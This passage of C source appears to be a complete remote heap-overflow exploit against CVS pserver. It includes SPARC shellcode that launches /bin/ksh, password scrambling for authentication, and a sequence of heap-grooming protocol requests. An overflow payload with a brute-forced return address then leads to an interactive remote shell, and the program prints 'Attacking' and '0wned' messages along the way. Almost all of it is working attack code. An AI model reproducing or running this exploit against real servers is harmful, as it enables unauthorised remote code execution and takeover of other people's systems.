"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
char *scramble(char * str);
void handler(int sig)
{
signal(SIGPIPE, handler);
}
/*
* This function reads from socket s until either max bytes are read,
* a newline is read, or timeout seconds elapse with no data over the
* socket.
* return values:
* -2: timeout
* -1: error
* 0: connection closed
* x: normal success, x bytes read
*/
int timeout_read(int s, char *buf, int max, int timeout)
{
int total = 0;
int r = 0;
int s_flags;
char c;
struct timeval to;
fd_set rset;
memset(&to, '\0', sizeof(to));
to.tv_sec = timeout;
to.tv_usec = 0;
s_flags = fcntl(s, F_GETFL, 0);
fcntl(s, F_SETFL, s_flags | O_NONBLOCK);
while(total < max)
{
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);
if (FD_ISSET(s, &rset))
{
r = read(s, &c, 1);
total += r;
if(r == -1)
{
if (errno != EWOULDBLOCK)
{
fcntl(s, F_SETFL, s_flags);
return -1;
}
else
continue;
}
else if(r == 0)
{
fcntl(s, F_SETFL, s_flags);
return 0;
}
else /* r == 1 */
{
buf[total-1] = c;
if(c == '\n')
break;
}
}
else
{
fcntl(s, F_SETFL, s_flags);
return -2;
}
}
fcntl(s, F_SETFL, s_flags);
return total;
}
void zflush(int sockfd)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
{
printf("[--] Compression error.\n");
exit(1);
}
zsent += sizeof(outbuf) - zout.avail_out;
write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_in != 0);
zbufpos = 0;
return;
}
int zwrite(char *buf, int len, int sockfd)
{
if ((sizeof(zbuf) - zbufpos) < (len))
zflush(sockfd);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
{
printf("[--] zwrite compression error.\n");
exit(1);
}
return (len);
}
int zgetch(int sockfd)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos < outlen && outlen)
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read(sockfd, rcvbuf, sizeof(rcvbuf));
if (got <= 0)
{
printf("[--] Socket error.\n");
exit(1);
}
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
printf("[--] Revc inflate error.\n");
}
}
}
char *zgets(int sockfd)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch(sockfd);
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;
deflateInit(&zout, 1);
inflateInit(&zin);
memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");
write(s, buf, strlen(buf));
}
int do_auth(int s)
{
char* str = malloc(50000);
if(str == 0)
{
perror("malloc");
exit(1);
}
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);
return 0;
}
int do_root(int s)
{
char* str = malloc(5000);
bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);
return 0;
}
int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size);
int x = 0;
int term = 0;
if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
{
return;
}
bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);
x = term;
while(x < (size - 1))
str[x++] = 0xff;
strcat(str, "\n");
str[term] = 0;
write(s, str, size);
free(str);
return(0);
}
int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[72] = 0;
for( i = 0 ; i < 128 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[65] = 0;
for(i = 0 ; i < 64 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[44] = 0;
for(i = 0 ; i < 32 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0xff, 8193);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
write(sockfd, buff, 8194);
}
int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];
chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);
memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);
/* The exploit will almost certainly fail if leftover == 0
* however in theory this should never actually happen.
*/
if(leftover == 0)
{
for(i = 0; i < num_chunks && fill > 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
}
else
{
for(i = 0; i < (num_chunks -2) && fill > 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
chunk_size2 = (chunk_size * 2 + leftover);
ROUND(chunk_size2);
memset(buff, 0x0, 2048);
memset(buff, 0xff, (chunk_size2 - 8) / 2);
memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4)
*(int *)&addrbuf[i] = htonl(RET);
memcpy(buff+1, addrbuf, strlen(addrbuf));
do_sized_entry(sockfd, buff, buff, 4096);
}
memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);
memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i < 28; i+=4)
*(int *)&addrbuf[i] = htonl(RET);
memcpy(buff+7, addrbuf, strlen(addrbuf));
do_sized_entry(sockfd, buff, buff, 97);
}
int do_ismodified(int s, char *e1)
{
char *str = (char *) malloc(100000);
int x = 0, term = 0;
bzero(str, 100000);
sprintf(str,"Is-modified %s\n", e1);
zwrite(str, strlen(str), s);
zflush(s);
free(str);
return 0;
}
int do_argument(int sockfd)
{
char *exp;
exp = (char *) malloc(20000);
memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));
memcpy(exp, "Argument ", strlen("Argument "));
exp[19680 + strlen("Argument ")] = '\n';
write(sockfd, exp, strlen(exp));
return(0);
}
int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);
buffer[254] = '\n';
memcpy(buffer, "Argumentx ", strlen("Argumentx "));
buffer[74 + 44] = 0;
zwrite(buffer, 255, sockfd);
zflush(sockfd);
}
int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;
memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);
for(i = 0 ; i < 19780-8; i+=4)
*(unsigned int *)&buffer[i] = htonl(retaddr);
for(i = 0; i < 19600; i+=4)
*(unsigned int *)&buffer[i] = htonl(NOP);
memcpy(buffer+19000, shellcode, strlen(shellcode));
memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';
zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}
int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];
memset(data, 0x0, 64);
memset(data, 0x42, 32);
memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);
sprintf(buffer, "Entry /%s/%s/", data, data);
buffer[2999] = '\n';
zwrite(buffer, 3000, sockfd);
zflush(sockfd);
}
unsigned char auth_shifts[] ={
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char *scramble(char * str)
{
int i;
char * s;
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = auth_shifts[(unsigned char)(str[i - 1])];
return (s);
}
int usage(char *name)
{
printf("usage: %s [options]\n", name);
printf("Options:\n");
printf(" -t Desired target\n");
printf(" -r CVS root\n");
printf(" -u CVS user\n");
printf(" -p Password\n");
printf(" -h Targeted host\n");
printf(" -P Port running CVS\n");
printf("\nAvailable targets:\n");
for (target = 0; serve[target].name != NULL; target++)
printf("[%i] - %s\n", target, serve[target].name);
exit(0);
}
int do_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}
int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
char c;
struct sockaddr_in addr;
struct hostent *hostinfo;
if(argc == 1)
{
usage(argv[0]);
}
port = CVS_PORT;
while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
{
switch(c)
{
case 't':
target = atoi(optarg);
break;
case 'r':
root = strdup(optarg);
reposit = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'd':
directory = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
default:
usage(argv[0]);
}
}
hostinfo = gethostbyname(host);
if(!hostinfo)
{
perror("gethostbyname()");
exit(0);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);
printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);
retaddr = serve[target].retadd;
while(1)
{
sockfd = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
perror("connect()");
exit(0);
}
do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3);
do_root(sockfd);
normalize_heap(sockfd);
do_argument(sockfd);
fill_size = 19680;
memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);
do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
correctly_fill_hole(sockfd, fill_size - (64 + word_size));
do_compression(sockfd);
len1 = ( 5 + 4 + 16);
len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);
for(i = 0; i < len1; i++)
do_ismodified(sockfd, entry1);
for(i = 0; i < len2; i++)
do_ismodified(sockfd, entry2);
for(i = 0; i < len3; i++)
do_ismodified(sockfd, entry3);
work_around_zlib_bug(sockfd);
do_resize(sockfd);
do_overflow(sockfd);
printf(".");
fflush(stdout);
while(1)
{
result = timeout_read(sockfd, buf, 4, 5);
if(result == -1 || result == 0)
{
break;
}
if(result == -2)
{
printf("\n Timeout... trying for shell\n");
do_shell(sockfd);
break;
}
/* Maybe use strstr and a larger read buffer here ? */
if(strncmp(buf, "caca", 4) == 0)
{
printf("]\n");
printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
do_shell(sockfd);
exit(0);
}
}
change += 12000;
if(oflip == 0)
{
retaddr = serve[target].retadd + change;
oflip = 1;
}
else if(oflip == 1)
{
retaddr = serve[target].retadd - change;
oflip = 0;
}
close(sockfd);
}
}
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by